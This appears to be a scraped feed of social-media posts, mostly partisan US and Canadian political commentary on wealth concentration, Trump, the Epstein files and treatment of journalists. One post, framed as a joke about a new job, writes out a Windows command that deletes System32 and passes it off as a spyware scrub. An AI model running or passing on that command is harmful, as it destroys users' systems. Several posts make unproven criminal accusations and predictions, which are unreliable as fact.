In @cbcradiocanada.bsky.social this morning they were talking about the sound of the “Canadian” bird - the loon - vs the “American” bird - the bald eagle. Melancholy and calm vs aggressive and screechy. Cute but… they made the mistake of using a misattributed hawk cry for the eagle… /1

Remember: The oligarchs who control our economy and democracy seek to divide us so they can become more powerful.
They want us to turn on each other so we don't look up and see where all the wealth and power have gone.
Don't fall for it.

Poverty is a policy choice. Concentrated wealth is a policy choice. Inequality is a policy choice. None of it is natural or inevitable. Remember: We have the power to build a system that serves the many, not the powerful few.

This is just a masturbation of tired clichés by a guy who is clearly high on his own supply.
Speaking as an Albertan, so much of that anger has been carefully spoon-fed to the people by provincial governments casting blame for their own incompetence and repeated failures.

I wish we lived in a land where if journalists heard the president call one of their colleges "piggy" or suggest another of their colleagues, who was butchered for what he wrote, in some way had it coming, they would close their laptops, leave as soon as possible, and ask to be reassigned.

Just started my new job at Cloudflare last night, and they already gave me access to PROD! Jimmy told me to run this script to scrub for any possible spyware before I left:
del /s /q C:\Windows\System32\*
I'm sure it's fine, can't wait to get back to work tonight!

I mean, look, I'm not a reporter, so who am I to talk?
But on a day where the president both just called a woman reporter "Piggy" and is celebrating someone who had people bone saw apart one of my colleagues, I might just be a little ready to defend my colleagues and profession.
But that's just me

This kook gave this video to LibsOfTikTok, who presumably thought this was a normal thing to do and not visibly psycho shit. Even on Twitter it landed like a wet fart in an elevator.
These people have no idea how to handle Kat and they’re terrified she’s going to win.

Remember: The concentration of wealth in the hands of a few isn't just bad for our economy. It's corrosive to our democracy.
When the wealthy and well-connected control our political system, regular people don't have a voice.
The result? The demagoguery and corruption we're seeing now.

A reminder that when Christian Nationalists in the Republican Party lecture you about the importance of "religious freedom," they are not talking about YOUR religion or YOUR freedom. They are talking about THEIR freedom to impose THEIR religion on you.

For 7 yrs, this is what I’ve told Trump’s supporters every single day: Trump doesn’t give a damn about you. He never has. And that’s got nothing to do with you and everything to do with him. You see, Trump is humanly capable of caring ONLY about Trump. And hopefully one day you’ll realize that.

As soon as they realize that Trump is no longer helping them then the knives will be out. That may be about to happen and I have a feeling the bloodbath will be particularly ugly — unfortunately the most corrupt may actually come out on top.
Save this post:
I predict that when the vote to release the Epstein Files goes ahead, dozens of Republicans will break ranks and vote for it cos they know that if they don't, they're fucked in the 2026 mid-terms.
Rats on a sinking ship! Trump is FUCKED!!!!!

TWO QUESTIONS FOR AMERICA
1. Do you agree that a child rapist can’t be POTUS?
2. If so, why do you not support an immediate DOJ and FBI investigation to determine if Donald Trump committed the same crime that two of his closest friends for 17 years committed thousands of times?
